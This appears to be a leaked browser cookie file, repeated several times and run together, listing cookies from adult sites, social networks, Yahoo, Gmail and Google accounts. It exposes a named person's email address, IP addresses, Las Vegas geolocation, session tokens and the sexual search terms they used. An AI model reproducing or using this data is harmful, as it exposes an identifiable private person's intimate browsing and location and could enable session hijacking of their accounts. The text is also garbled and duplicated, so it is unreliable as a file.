d2ef33b9b6662a3cf9e0affda91a51701273251945-0-!0 freebigassporn.org FALSE / FALSE 1436547940 9317c784438f1c4c4845df7c31b2c0e61273251941-0-!0 freebuttpornvideo.org FALSE / FALSE 1560963912 1c5b426681186ace122398bc38e4c2521273251916-0-!0 www.unrealbutts.com FALSE / FALSE 1273338252 whereFrom29 elephantasses.com www.elephantasses.com FALSE / FALSE 1273338228 whereFrom17 blackphatbooty.com .imlive.com TRUE / FALSE 1289019802 __utmz71081352.1273251802.1.1.utmcsr=blackphatbooty.com|utmccn=(referral)|utmcmd=referral|utmcct=/ .blackteengirlfriends.comTRUE / FALSE 1274115763 natsNzM1OjM6Mg%2C0%2C0%2C0%2C110 .mightyfineass.com TRUE / FALSE 1289019579 __utmz97044739.1273251580.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr= sexy%20beautifull%20phat%20ass .porntubular.comTRUE / FALSE 1289019538 __utmz5274930.1273251539.1.1.utmcsr=linkass.com|utmccn=(referral)|utmcmd=referral|utmcct=/ linkass.com FALSE / FALSE 1273337696 adfreq1 .myspace.com TRUE / FALSE 1273856068 MSCultureIP=72.193.81.105&IPCulture=en-US&PreferredCulture=en-US&Country=VVM .facebook.com TRUE / FALSE 1334231569 datr1271159548-4dd31e07fe0895b6e1e3a509fe7f814b33edbdc6088ba3c2343e7 mail.google.com FALSE /mail FALSE 1273422980 gmailchat mrguzmanmel@gmail.com/727907 www.google.com FALSE /accounts TRUE 1588609038 GAUSR mail:mrguzmanmel@gmail.com .profile.myspace.com TRUE / FALSE 1334234257 __utma35235168.487630587.1271162257.1271162257.1271162257.1 .profile.myspace.com TRUE / FALSE 1286930257 __utmz35235168.1271162257.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=darlesia%20las%20vegas .br.rk.com TRUE / FALSE 1273754164 geo_record68.104.74%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .yahoo.com TRUE / FALSE 1334951982 Bejoo1r95ss6qh&b=4&d=lpFcqjtpYEK72J1qbjz9ljcouT0oJJmob_UhOA--&s=un&i=HowMgQmyClEOLj9vd7EU .craigslist.org TRUE / FALSE 1303966405 cl_def_hplasvegas .blackplanet.comTRUE / FALSE 1273319464 C1C23g-R8MBN73FaBElM0KcywOxhummpkEi9XxEV3hrwyG62jeec4-gEEgg .slutload.com TRUE / FALSE 1288908979 __utmz175867232.1273140979.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr= irl%20goes%20in%20for%20interview%20and %20getsfucked .spankwirelive.com TRUE / FALSE 1586260715 nsuidb1ee2ff8175e0b0 .adultfriendfinder.com TRUE / FALSE 1275411010 LOCATION_FROM_IPcountry&United+States&area_code&702&longitude&-115.2049&country_name&United +States&lat&36.1515&country_code&US&region&NV&state&Nevada&zip&&city&Las+Vegas&postal_code&&latitude&36.1515&lon&-115.2049&dma_code&839&country_code3&USA .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocUS .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeonUnited+States .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocityLas+Vegas .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeoregionNV .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolong-115.2049 .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolat36.1515 .adultfriendfinder.com TRUE / FALSE 1275411010 ffadult_trr,FAVBPf_X850niGRyUIW0WVFqkwrGEFmrLBGcW0dkPRrJ0f7r5z3WGZ7Voe6SAbck .pornhub.com TRUE / FALSE 1288586902 __utmz81823753.1272818902.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr= pon%20free members.blackcrush.com FALSE / FALSE 2217606844 SLUCE1A084C57450252495D58515F5D5844161D5D100B0341435E42585442415F5746505B4C41470856484A5A525511 .18andabused.videosz.com TRUE / FALSE 1335552222 __utma151411513.118282892.1272480223.1272480223.1272480223.1 .realexgirlfriends.com TRUE / FALSE 1335551888 __utma253505418.1063252664.1272479884.1272479884.1272479884.1 www.thepornbunker.com FALSE / FALSE 1304015871 c_ref_986647 http%3A//www.google.com/search%3Fq%3Dporn%2520freee%26sourceid%3Dmozilla2%26ie%3Dutf-8%26oe%3Dutf-8 .massagecreep.comTRUE / FALSE 1273343837 natsMTYzNjI6OTQ6NTg%2C0%2C0%2C0%2C0 .livecams.com TRUE / FALSE 1335551664 __utma259216663.107940818.1272479657.1272479657.1272479657.1 .porn.com TRUE / FALSE 1288247519 __utmz139135020.1272479520.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=bella%20moretti .mycricket.com TRUE / FALSE 1287647051 __utmz174607422.1271879052.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cricket%20ringback%20tones .walmartmoneycard.com TRUE / FALSE 1287831181 __utmz118520207.1272063181.2.2.utmcsr=mygreendot.com|utmccn=(referral)|utmcmd=referral|utmcct=/greendot/ .mocospace.com TRUE / FALSE 1286668440 __utmz60546097.1270900441.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .blackpeoplemeet.com TRUE / FALSE 1274473696 MRID8370480 www.mycricket.comFALSE / FALSE 1303580798 OAID 4c51a7a16392acdd3fc453bfd5a5bf72 .homemadeporn.comTRUE / FALSE 1287634143 __utmz269355368.1271866143.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .youporn.com TRUE / FALSE 1286757726 __utmz60671397.1270989727.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic .favouritenudes.com TRUE / FALSE 1286757695 __utmz117594782.1270989695.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic .xnxx.com TRUE / FALSE 1289019977 __utmz92469890.1273251978.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=free%20porn .fling.com TRUE / FALSE 1275731323 geo_record72.193.81%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .brandreachsys.com TRUE / FALSE 1274458209 geo_record68.104.71%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .blackphatbooty.com TRUE / FALSE 1289019665 __utmz61776127.1273251666.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=sexy%20beautifull%20phat%20ass .bigbuttbrazilianmoms.comTRUE / FALSE 1281891944 nats_sesse14daa73ad854d24d4ee9cb052c11fdf nice-butt.org FALSE / FALSE 1422723945 d2ef33b9b6662a3cf9e0affda91a51701273251945-0-!0 freebigassporn.org FALSE / FALSE 1436547940 9317c784438f1c4c4845df7c31b2c0e61273251941-0-!0 freebuttpornvideo.org FALSE / FALSE 1560963912 1c5b426681186ace122398bc38e4c2521273251916-0-!0 www.unrealbutts.com FALSE / FALSE 1273338252 whereFrom29 elephantasses.com www.elephantasses.com FALSE / FALSE 1273338228 whereFrom17 blackphatbooty.com .imlive.com TRUE / FALSE 1289019802 __utmz71081352.1273251802.1.1.utmcsr=blackphatbooty.com|utmccn=(referral)|utmcmd=referral|utmcct=/ .blackteengirlfriends.comTRUE / FALSE 1274115763 natsNzM1OjM6Mg%2C0%2C0%2C0%2C110 .mightyfineass.com TRUE / FALSE 1289019579 __utmz97044739.1273251580.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=sexy%20beautifull%20phat%20ass .porntubular.comTRUE / FALSE 1289019538 __utmz5274930.1273251539.1.1.utmcsr=linkass.com|utmccn=(referral)|utmcmd=referral|utmcct=/ linkass.com FALSE / FALSE 1273337696 adfreq1 .myspace.com TRUE / FALSE 1273856068 MSCultureIP=72.193.81.105&IPCulture=en-US&PreferredCulture=en-US&Country=VVM .facebook.com TRUE / FALSE 1334231569 datr1271159548-4dd31e07fe0895b6e1e3a509fe7f814b33edbdc6088ba3c2343e7 mail.google.com FALSE /mail FALSE 1273422980 gmailchat mrguzmanmel@gmail.com/727907 www.google.com FALSE /accounts TRUE 1588609038 GAUSR mail:mrguzmanmel@gmail.com .profile.myspace.com TRUE / FALSE 1334234257 __utma35235168.487630587.1271162257.1271162257.1271162257.1 .profile.myspace.com TRUE / FALSE 1286930257 __utmz35235168.1271162257.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=darlesia%20las%20vegas .br.rk.com TRUE / FALSE 1273754164 geo_record68.104.74%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .yahoo.com TRUE / FALSE 1334951982 Bejoo1r95ss6qh&b=4&d=lpFcqjtpYEK72J1qbjz9ljcouT0oJJmob_UhOA--&s=un&i=HowMgQmyClEOLj9vd7EU .craigslist.org TRUE / FALSE 1303966405 cl_def_hplasvegas .blackplanet.comTRUE / FALSE 1273319464 C1C23g-R8MBN73FaBElM0KcywOxhummpkEi9XxEV3hrwyG62jeec4-gEEgg .slutload.com TRUE / FALSE 1288908979 __utmz175867232.1273140979.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=irl%20goes%20in%20for%20interview%20and %20getsfucked .spankwirelive.com TRUE / FALSE 1586260715 nsuidb1ee2ff8175e0b0 .adultfriendfinder.com TRUE / FALSE 1275411010 LOCATION_FROM_IPcountry&United+States&area_code&702&longitude&-115.2049&country_name&United +States&lat&36.1515&country_code&US&region&NV&state&Nevada&zip&&city&Las+Vegas&postal_code&&latitude&36.1515&lon&-115.2049&dma_code&839&country_code3&USA .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocUS .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeonUnited+States .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocityLas+Vegas .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeoregionNV .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolong-115.2049 .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolat36.1515 .adultfriendfinder.com TRUE / FALSE 1275411010 ffadult_trr,FAVBPf_X850niGRyUIW0WVFqkwrGEFmrLBGcW0dkPRrJ0f7r5z3WGZ7Voe6SAbck .pornhub.com TRUE / FALSE 1288586902 __utmz81823753.1272818902.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=pon%20free members.blackcrush.com FALSE / FALSE 2217606844 SLUCE1A084C57450252495D58515F5D5844161D5D100B0341435E42585442415F5746505B4C41470856484A5A525511 .18andabused.videosz.com TRUE / FALSE 1335552222 __utma151411513.118282892.1272480223.1272480223.1272480223.1 .realexgirlfriends.com TRUE / FALSE 1335551888 __utma253505418.1063252664.1272479884.1272479884.1272479884.1 www.thepornbunker.com FALSE / FALSE 1304015871 c_ref_986647 http%3A//www.google.com/search%3Fq%3Dporn%2520freee%26sourceid%3Dmozilla2%26ie%3Dutf-8%26oe%3Dutf-8 .massagecreep.comTRUE / FALSE 1273343837 natsMTYzNjI6OTQ6NTg%2C0%2C0%2C0%2C0 .livecams.com TRUE / FALSE 1335551664 __utma259216663.107940818.1272479657.1272479657.1272479657.1 .porn.com TRUE / FALSE 1288247519 __utmz139135020.1272479520.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=bella%20moretti .mycricket.com TRUE / FALSE 1287647051 __utmz174607422.1271879052.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cricket%20ringback%20tones .walmartmoneycard.com TRUE / FALSE 1287831181 __utmz118520207.1272063181.2.2.utmcsr=mygreendot.com|utmccn=(referral)|utmcmd=referral|utmcct=/greendot/ .mocospace.com TRUE / FALSE 1286668440 __utmz60546097.1270900441.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .blackpeoplemeet.com TRUE / FALSE 1274473696 MRID8370480 www.mycricket.comFALSE / FALSE 1303580798 OAID 4c51a7a16392acdd3fc453bfd5a5bf72 .homemadeporn.comTRUE / FALSE 1287634143 __utmz269355368.1271866143.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .youporn.com TRUE / FALSE 1286757726 __utmz60671397.1270989727.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic .favouritenudes.com TRUE / FALSE 1286757695 __utmz117594782.1270989695.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic mrguzmanmel@gmail.com .xnxx.com TRUE / FALSE 1289019977 __utmz92469890.1273251978.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=free%20porn .fling.com TRUE / FALSE 1275731323 geo_record72.193.81%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .brandreachsys.com TRUE / FALSE 1274458209 geo_record68.104.71%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .blackphatbooty.com TRUE / FALSE 1289019665 __utmz 61776127.1273251666.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=sexy%20beautifull%20phat%20ass .bigbuttbrazilianmoms.comTRUE / FALSE 1281891944 nats_sess e14daa73ad854d24d4ee9cb052c11fdf nice-butt.org FALSE / FALSE 1422723945 d2ef33b9b6662a3cf9e0affda91a51701273251945-0-!0 freebigassporn.org FALSE / FALSE 1436547940 9317c784438f1c4c4845df7c31b2c0e6 1273251941-0-!0 freebuttpornvideo.org FALSE / FALSE 1560963912 1c5b426681186ace122398bc38e4c252 1273251916-0-!0 www.unrealbutts.com FALSE / FALSE 1273338252 whereFrom29 elephantasses.com www.elephantasses.com FALSE / FALSE 1273338228 whereFrom17 blackphatbooty.com .imlive.com TRUE / FALSE 1289019802 __utmz71081352.1273251802.1.1.utmcsr=blackphatbooty.com|utmccn=(referral)|utmcmd=referral|utmcct=/ .blackteengirlfriends.comTRUE / FALSE 1274115763 natsNzM1OjM6Mg%2C0%2C0%2C0%2C110 .mightyfineass.com TRUE / FALSE 1289019579 __utmz 97044739.1273251580.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=sexy%20beautifull%20phat%20ass .porntubular.comTRUE / FALSE 1289019538 __utmz5274930.1273251539.1.1.utmcsr=linkass.com|utmccn=(referral)|utmcmd=referral|utmcct=/ linkass.com FALSE / FALSE 1273337696 adfreq1 .myspace.com TRUE / FALSE 1273856068 MSCultureIP=72.193.81.105&IPCulture=en-US&PreferredCulture=en-US&Country=VVM .facebook.com TRUE / FALSE 1334231569 datr1271159548-4dd31e07fe0895b6e1e3a509fe7f814b33edbdc6088ba3c2343e7 mail.google.com FALSE /mail FALSE 1273422980 gmailchat mrguzmanmel@gmail.com/727907 www.google.com FALSE /accounts TRUE 1588609038 GAUSR mail:mrguzmanmel@gmail.com .profile.myspace.com TRUE / FALSE 1334234257 __utma35235168.487630587.1271162257.1271162257.1271162257.1 .profile.myspace.com TRUE / FALSE 1286930257 __utmz35235168.1271162257.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=darlesia%20las%20vegas .br.rk.com TRUE / FALSE 1273754164 geo_record68.104.74%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .yahoo.com TRUE / FALSE 1334951982 Bejoo1r95ss6qh&b=4&d=lpFcqjtpYEK72J1qbjz9ljcouT0oJJmob_UhOA--&s=un&i=HowMgQmyClEOLj9vd7EU .craigslist.org TRUE / FALSE 1303966405 cl_def_hplasvegas .blackplanet.comTRUE / FALSE 1273319464 C1C23g-R8MBN73FaBElM0KcywOxhummpkEi9XxEV3hrwyG62jeec4-gEEgg .slutload.com TRUE / FALSE 1288908979 __utmz175867232.1273140979.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=irl%20goes%20in%20for%20interview%20and %20getsfucked .spankwirelive.com TRUE / FALSE 1586260715 nsuidb1ee2ff8175e0b0 .adultfriendfinder.com TRUE / FALSE 1275411010 LOCATION_FROM_IPcountry&United+States&area_code&702&longitude&-115.2049&country_name&United +States&lat&36.1515&country_code&US&region&NV&state&Nevada&zip&&city&Las+Vegas&postal_code&&latitude&36.1515&lon&-115.2049&dma_code&839&country_code3&USA .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocUS .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeonUnited+States .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocityLas+Vegas .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeoregionNV .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolong-115.2049 .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolat36.1515 .adultfriendfinder.com TRUE / FALSE 1275411010 ffadult_trr,FAVBPf_X850niGRyUIW0WVFqkwrGEFmrLBGcW0dkPRrJ0f7r5z3WGZ7Voe6SAbck .pornhub.com TRUE / FALSE 1288586902 __utmz81823753.1272818902.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=pon%20free members.blackcrush.com FALSE / FALSE 2217606844 SLUCE1A084C57450252495D58515F5D5844161D5D100B0341435E42585442415F5746505B4C41470856484A5A525511 .18andabused.videosz.com TRUE / FALSE 1335552222 __utma151411513.118282892.1272480223.1272480223.1272480223.1 .realexgirlfriends.com TRUE / FALSE 1335551888 __utma253505418.1063252664.1272479884.1272479884.1272479884.1 www.thepornbunker.com FALSE / FALSE 1304015871 c_ref_986647 http%3A//www.google.com/search%3Fq%3Dporn%2520freee%26sourceid%3Dmozilla2%26ie%3Dutf-8%26oe%3Dutf-8 .massagecreep.comTRUE / FALSE 1273343837 natsMTYzNjI6OTQ6NTg%2C0%2C0%2C0%2C0 .livecams.com TRUE / FALSE 1335551664 __utma259216663.107940818.1272479657.1272479657.1272479657.1 .porn.com TRUE / FALSE 1288247519 __utmz139135020.1272479520.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=bella%20moretti .mycricket.com TRUE / FALSE 1287647051 __utmz174607422.1271879052.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cricket%20ringback%20tones .walmartmoneycard.com TRUE / FALSE 1287831181 __utmz118520207.1272063181.2.2.utmcsr=mygreendot.com|utmccn=(referral)|utmcmd=referral|utmcct=/greendot/ .mocospace.com TRUE / FALSE 1286668440 __utmz60546097.1270900441.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .blackpeoplemeet.com TRUE / FALSE 1274473696 MRID8370480 www.mycricket.comFALSE / FALSE 1303580798 OAID 4c51a7a16392acdd3fc453bfd5a5bf72 .homemadeporn.comTRUE / FALSE 1287634143 __utmz269355368.1271866143.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .youporn.com TRUE / FALSE 1286757726 __utmz60671397.1270989727.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic .favouritenudes.com TRUE / FALSE 1286757695 __utmz117594782.1270989695.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic .xnxx.com TRUE / FALSE 1289019977 __utmz92469890.1273251978.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=free%20porn .fling.com TRUE / FALSE 1275731323 geo_record72.193.81%3B Las+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .brandreachsys.com TRUE / FALSE 1274458209 geo_record68.104.71%3B Las+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .blackphatbooty.com TRUE / FALSE 1289019665 __utmz61776127.1273251666.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=sexy%20beautifull%20phat%20ass .bigbuttbrazilianmoms.comTRUE / FALSE 1281891944 nats_sesse14daa73ad854d24d4ee9cb052c11fdf nice-butt.org FALSE / FALSE 1422723945 d2ef33b9b6662a3cf9e0affda91a51701273251945-0-!0 freebigassporn.org FALSE / FALSE 1436547940 9317c784438f1c4c4845df7c31b2c0e61273251941-0-!0 freebuttpornvideo.org FALSE / FALSE 1560963912 1c5b426681186ace122398bc38e4c2521273251916-0-!0 www.unrealbutts.com FALSE / FALSE 1273338252 whereFrom29 elephantasses.com www.elephantasses.com FALSE / FALSE 1273338228 whereFrom17 blackphatbooty.com .imlive.com TRUE / FALSE 1289019802 __utmz71081352.1273251802.1.1.utmcsr=blackphatbooty.com|utmccn=(referral)|utmcmd=referral|utmcct=/ .blackteengirlfriends.comTRUE / FALSE 1274115763 natsNzM1OjM6Mg%2C0%2C0%2C0%2C110 .mightyfineass.com TRUE / FALSE 1289019579 __utmz97044739.1273251580.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=sexy%20beautifull%20phat%20ass .porntubular.comTRUE / FALSE 1289019538 __utmz5274930.1273251539.1.1.utmcsr=linkass.com|utmccn=(referral)|utmcmd=referral|utmcct=/ linkass.com FALSE / FALSE 1273337696 adfreq1 .myspace.com TRUE / FALSE 1273856068 MSCultureIP=72.193.81.105&IPCulture=en-US&PreferredCulture=en-US&Country=VVM .facebook.com TRUE / FALSE 1334231569 datr1271159548-4dd31e07fe0895b6e1e3a509fe7f814b33edbdc6088ba3c2343e7 mail.google.com FALSE /mail FALSE 1273422980 gmailchat mrguzmanmel@gmail.com/727907 www.google.com FALSE /accounts TRUE 1588609038 GAUSR mail:mrguzmanmel@gmail.com .profile.myspace.com TRUE / FALSE 1334234257 __utma35235168.487630587.1271162257.1271162257.1271162257.1 .profile.myspace.com TRUE / FALSE 1286930257 __utmz35235168.1271162257.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=darlesia%20las%20vegas .br.rk.com TRUE / FALSE 1273754164 geo_record68.104.74%3B Las+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .yahoo.com TRUE / FALSE 1334951982 Bejoo1r95ss6qh&b=4&d=lpFcqjtpYEK72J1qbjz9ljcouT0oJJmob_UhOA--&s=un&i=HowMgQmyClEOLj9vd7EU .craigslist.org TRUE / FALSE 1303966405 cl_def_hp lasvegas .blackplanet.comTRUE / FALSE 1273319464 C1C23g-R8MBN73FaBElM0KcywOxhummpkEi9XxEV3hrwyG62jeec4-gEEgg .slutload.com TRUE / FALSE 1288908979 __utmz175867232.1273140979.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=irl%20goes%20in%20for%20interview%20and %20getsfucked .spankwirelive.com TRUE / FALSE 1586260715 nsuidb1ee2ff8175e0b0 .adultfriendfinder.com TRUE / FALSE 1275411010 LOCATION_FROM_IPcountry&United+States&area_code&702&longitude&-115.2049&country_name&United +States&lat&36.1515&country_code&US&region&NV&state&Nevada&zip&&city&Las+Vegas&postal_code&&latitude&36.1515&lon&-115.2049&dma_code&839&country_code3&USA .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeoc US .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeon United+States .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocity Las+Vegas .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeoregion NV .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolong -115.2049 .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolat 36.1515 .adultfriendfinder.com TRUE / FALSE 1275411010 ffadult_trr,FAVBPf_X850niGRyUIW0WVFqkwrGEFmrLBGcW0dkPRrJ0f7r5z3WGZ7Voe6SAbck .pornhub.com TRUE / FALSE 1288586902 __utmz81823753.1272818902.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=pon%20free members.blackcrush.com FALSE / FALSE 2217606844 SLUCE1A084C57450252495D58515F5D5844161D5D100B0341435E42585442415F5746505B4C41470856484A5A525511 .18andabused.videosz.com TRUE / FALSE 1335552222 __utma151411513.118282892.1272480223.1272480223.1272480223.1 .realexgirlfriends.com TRUE / FALSE 1335551888 __utma253505418.1063252664.1272479884.1272479884.1272479884.1 www.thepornbunker.com FALSE / FALSE 1304015871 c_ref_986647 http%3A//www.google.com/search%3Fq%3Dporn%2520freee%26sourceid%3Dmozilla2%26ie%3Dutf-8%26oe%3Dutf-8 .massagecreep.comTRUE / FALSE 1273343837 natsMTYzNjI6OTQ6NTg%2C0%2C0%2C0%2C0 .livecams.com TRUE / FALSE 1335551664 __utma259216663.107940818.1272479657.1272479657.1272479657.1 .porn.com TRUE / FALSE 1288247519 __utmz139135020.1272479520.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=bella%20moretti .mycricket.com TRUE / FALSE 1287647051 __utmz174607422.1271879052.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cricket%20ringback%20tones .walmartmoneycard.com TRUE / FALSE 1287831181 __utmz118520207.1272063181.2.2.utmcsr=mygreendot.com|utmccn=(referral)|utmcmd=referral|utmcct=/greendot/ .mocospace.com TRUE / FALSE 1286668440 __utmz60546097.1270900441.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .blackpeoplemeet.com TRUE / FALSE 1274473696 MRID8370480 www.mycricket.comFALSE / FALSE 1303580798 OAID 4c51a7a16392acdd3fc453bfd5a5bf72 .homemadeporn.comTRUE / FALSE 1287634143 __utmz269355368.1271866143.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .youporn.com TRUE / FALSE 1286757726 __utmz60671397.1270989727.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic .favouritenudes.com TRUE / FALSE 1286757695 __utmz117594782.1270989695.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic .xnxx.com TRUE / FALSE 1289019977 __utmz92469890.1273251978.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=free%20porn .fling.com TRUE / FALSE 1275731323 geo_record72.193.81%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .brandreachsys.com TRUE / FALSE 1274458209 geo_record68.104.71%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .blackphatbooty.com TRUE / FALSE 1289019665 __utmz61776127.1273251666.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=sexy%20beautifull%20phat%20ass .bigbuttbrazilianmoms.comTRUE / FALSE 1281891944 nats_sesse14daa73ad854d24d4ee9cb052c11fdf nice-butt.org FALSE / FALSE 1422723945 d2ef33b9b6662a3cf9e0affda91a51701273251945-0-!0 freebigassporn.org FALSE / FALSE 1436547940 9317c784438f1c4c4845df7c31b2c0e61273251941-0-!0 freebuttpornvideo.org FALSE / FALSE 1560963912 1c5b426681186ace122398bc38e4c2521273251916-0-!0 www.unrealbutts.com FALSE / FALSE 1273338252 whereFrom29 elephantasses.com www.elephantasses.com FALSE / FALSE 1273338228 whereFrom17 blackphatbooty.com .imlive.com TRUE / FALSE 1289019802 __utmz71081352.1273251802.1.1.utmcsr=blackphatbooty.com|utmccn=(referral)|utmcmd=referral|utmcct=/ .blackteengirlfriends.comTRUE / FALSE 1274115763 natsNzM1OjM6Mg%2C0%2C0%2C0%2C110 .mightyfineass.com TRUE / FALSE 1289019579 __utmz97044739.1273251580.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=sexy%20beautifull%20phat%20ass .porntubular.comTRUE / FALSE 1289019538 __utmz5274930.1273251539.1.1.utmcsr=linkass.com|utmccn=(referral)|utmcmd=referral|utmcct=/ linkass.com FALSE / FALSE 1273337696 adfreq1 .myspace.com TRUE / FALSE 1273856068 MSCultureIP=72.193.81.105&IPCulture=en-US&PreferredCulture=en-US&Country=VVM .facebook.com TRUE / FALSE 1334231569 datr1271159548-4dd31e07fe0895b6e1e3a509fe7f814b33edbdc6088ba3c2343e7 mail.google.com FALSE /mail FALSE 1273422980 gmailchat mrguzmanmel@gmail.com/727907 www.google.com FALSE /accounts TRUE 1588609038 GAUSR mail:mrguzmanmel@gmail.com .profile.myspace.com TRUE / FALSE 1334234257 __utma35235168.487630587.1271162257.1271162257.1271162257.1 .profile.myspace.com TRUE / FALSE 1286930257 __utmz35235168.1271162257.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=darlesia%20las%20vegas .br.rk.com TRUE / FALSE 1273754164 geo_record68.104.74%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .yahoo.com TRUE / FALSE 1334951982 Bejoo1r95ss6qh&b=4&d=lpFcqjtpYEK72J1qbjz9ljcouT0oJJmob_UhOA--&s=un&i=HowMgQmyClEOLj9vd7EU .craigslist.org TRUE / FALSE 1303966405 cl_def_hplasvegas .blackplanet.comTRUE / FALSE 1273319464 C1C23g-R8MBN73FaBElM0KcywOxhummpkEi9XxEV3hrwyG62jeec4-gEEgg .slutload.com TRUE / FALSE 1288908979 __utmz175867232.1273140979.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=irl%20goes%20in%20for%20interview%20and %20getsfucked .spankwirelive.com TRUE / FALSE 1586260715 nsuidb1ee2ff8175e0b0 .adultfriendfinder.com TRUE / FALSE 1275411010 LOCATION_FROM_IPcountry&United+States&area_code&702&longitude&-115.2049&country_name&United +States&lat&36.1515&country_code&US&region&NV&state&Nevada&zip&&city&Las+Vegas&postal_code&&latitude&36.1515&lon&-115.2049&dma_code&839&country_code3&USA .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocUS .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeonUnited+States .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeocityLas+Vegas .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeoregionNV .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolong-115.2049 .freeviewmovies.com TRUE / FALSE 1275410983 fvmgeolat36.1515 .adultfriendfinder.com TRUE / FALSE 1275411010 ffadult_trr,FAVBPf_X850niGRyUIW0WVFqkwrGEFmrLBGcW0dkPRrJ0f7r5z3WGZ7Voe6SAbck .pornhub.com TRUE / FALSE 1288586902 __utmz81823753.1272818902.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=pon%20free members.blackcrush.com FALSE / FALSE 2217606844 